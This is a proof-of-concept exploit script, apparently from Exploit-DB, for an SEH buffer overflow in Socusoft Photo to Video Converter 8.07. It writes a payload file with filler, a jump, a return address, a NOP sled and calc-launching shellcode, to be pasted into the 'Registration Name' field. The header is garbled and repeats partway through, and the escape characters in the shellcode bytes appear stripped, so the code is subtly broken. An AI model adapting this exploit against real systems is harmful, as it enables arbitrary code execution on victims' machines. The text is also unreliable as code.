# Exploit Title: Socusoft Photo to Video Converter 8.07 - 'Registration Name' Buffer Overflow
# Exploit Author : ZwX
# Exploit Date: 2018-09-13
# Vendor Homepage : http://www.dv # Exploit Title: Socusoft Photo to Video Converter 8.07 - 'Registration Name' Buffer Overflow
# Exploit Author : ZwX
# Exploit Date: 2018-09-13
# Vendor Homepage : http://www.dvd-photo-slideshow.com/photo-to-video-converter.html
# Version Software : 8.07
# Tested on OS: Windows 7
# Related Exploit Link : https://www.exploit-db.com/exploits/45353/

'''
Steps to Reproduce:
===================
1.Download and install Photo to Video Converter Professional
2.Run the python operating script that will create a file (poc.txt)
3.Run the software "" then go to Menu -> Help -> Save
4.Paste the contents of the file (poc.txt) into the input "Registration Name" and click "Activate"
5.Now the calculator executes!
'''

#!/usr/bin/python

from struct import pack

buffer = "x41" * 256
a = "xebx06xffxff"
b = pack("<I",0x10015d71)
calc=("xdbxd7xd9x74x24xf4xb8x79xc4x64xb7x33xc9xb1x38"
"x5dx83xc5x04x31x45x13x03x3cxd7x86x42x42x3fxcf"
"xadxbaxc0xb0x24x5fxf1xe2x53x14xa0x32x17x78x49"
"xb8x75x68xdaxccx51x9fx6bx7ax84xaex6cx4ax08x7c"
"xaexccxf4x7exe3x2exc4xb1xf6x2fx01xafxf9x62xda"
"xa4xa8x92x6fxf8x70x92xbfx77xc8xecxbax47xbdx46"
"xc4x97x6exdcx8ex0fx04xbax2ex2exc9xd8x13x79x66"
"x2axe7x78xaex62x08x4bx8ex29x37x64x03x33x7fx42"
"xfcx46x8bxb1x81x50x48xc8x5dxd4x4dx6ax15x4exb6"
"x8bxfax09x3dx87xb7x5ex19x8bx46xb2x11xb7xc3x35"
"xf6x3ex97x11xd2x1bx43x3bx43xc1x22x44x93xadx9b"
"xe0xdfx5fxcfx93xbdx35x0ex11xb8x70x10x29xc3xd2"
"x79x18x48xbdxfexa5x9bxfaxf1xefx86xaax99xa9x52"
"xefxc7x49x89x33xfexc9x38xcbx05xd1x48xcex42x55"
"xa0xa2xdbx30xc6x11xdbx10xa5xafx7fxccx43xa1x1b"
"x9dxe4x4exb8x32x72xc3x34xd0xe9x10x87x46x91x37"
"x8bx15x7bxd2x2bxbfx83")
nops = "x90" * 20
c = "x44" * 800

poc = buffer + a + b + nops + calc + c
file = open("poc.txt","w")
file.write(poc)
file.close()

print "POC Created by ZwX"